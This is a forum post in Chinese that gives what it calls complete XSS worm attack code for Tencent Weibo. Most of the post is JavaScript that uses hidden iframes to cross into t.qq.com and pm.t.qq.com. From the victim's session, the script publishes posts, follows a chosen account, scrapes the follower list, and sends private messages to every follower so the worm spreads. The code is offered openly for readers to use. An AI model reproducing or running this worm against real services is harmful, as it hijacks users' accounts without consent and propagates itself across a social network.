腾讯微博完整xss蠕虫攻击代码
之前写过一篇《腾讯微博XSS蠕虫可行性简单分析》,这里:http://www.t00ls.net/thread-16537-1-1.html。
那个时候是发现t.qq.com域下一处xss漏洞,大部分操作是不需要跨域的,利用起来很方便。不过这样的xss很少了,后来写了当qq.com其他子域下存在xss漏洞该如何利用的代码。
其实蠕虫攻击代码只是对xss漏洞利用的一种方法而已,其实还是能做好多事情的。
以下是腾讯微博完整xss蠕虫攻击代码,发出来大家交流交流,具体如何去发掘qq.com其他子域下的xss漏洞大家都有各自的方法的,哈哈!
//设置document.domain
document.domain = "qq.com";
//跨t.qq.com域
var tdiv = document.createElement("div");
tdiv.innerHTML = "<iframe id='crossTdomain' src='http://t.qq.com/proxy.html' style='display:none' onload=main()></iframe>";
document.body.appendChild(tdiv);
//POST发送数据
function post(url,data,sync,xmlHttp){
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
xmlHttp.send(data);
}
//获得当前微博ID
function getowner(){
url = "http://t.qq.com/asyn/home.php";
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
return eval("(" + result + ")").info.user;
}
//发微博
function publish(){
url = "http://t.qq.com/publish.php";
data = "content=" + encodeURIComponent("bbb");
post(url,data,true,xmlHttp);
}
//收听微博
function following(){
url = "http://t.qq.com/follow.php";
data = "u=xxxxx&r=1309401828421&veriCode=";
post(url,data,true,crossTdomain);
}
//获取所有听众ID
function getfollower(){
url = "http://t.qq.com/" + owner + "/follower";
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
var followers = [];
var patrn = /@(.+?)\)"><img/ig;
while((follower = patrn.exec(result)) != null){
followers.push(follower[1]);
}
return followers;
}
//发私信
function msg(followers){
crossPMdomain = document.getElementById("crossPMdomain").contentWindow;
for (i=0;i<followers.length;i++)
{
url = "http://pm.t.qq.com/cgi-bin/pm_mgr"
data = "source=new&ptid=&roomid=&content=hi&fid=&target="+ followers[i] +"&func=send&ef=js&pmlang=zh_CN";
pmxmlHttp = crossPMdomain.xmlHttp();
post(url,data,false,pmxmlHttp);
}
}
function main(){
//获取t.qq.com域下xmlHttp()函数
xmlHttp = crossTdomain.xmlHttp();
//调用功能函数
owner = getowner();
publish();
followers = getfollower();
//跨pm.t.qq.com域,发送私信
var pmdiv = document.createElement("div");
pmdiv.innerHTML = "<iframe id='crossPMdomain' src='http://pm.t.qq.com/pmweb/zh_CN/htmledition/wbpm_proxy.html' style='display:none' onload=msg(followers)></iframe>";
document.body.appendChild(pmdiv);
}
by:PiaCa
下一篇:IIS 文件名解析漏洞扼要分析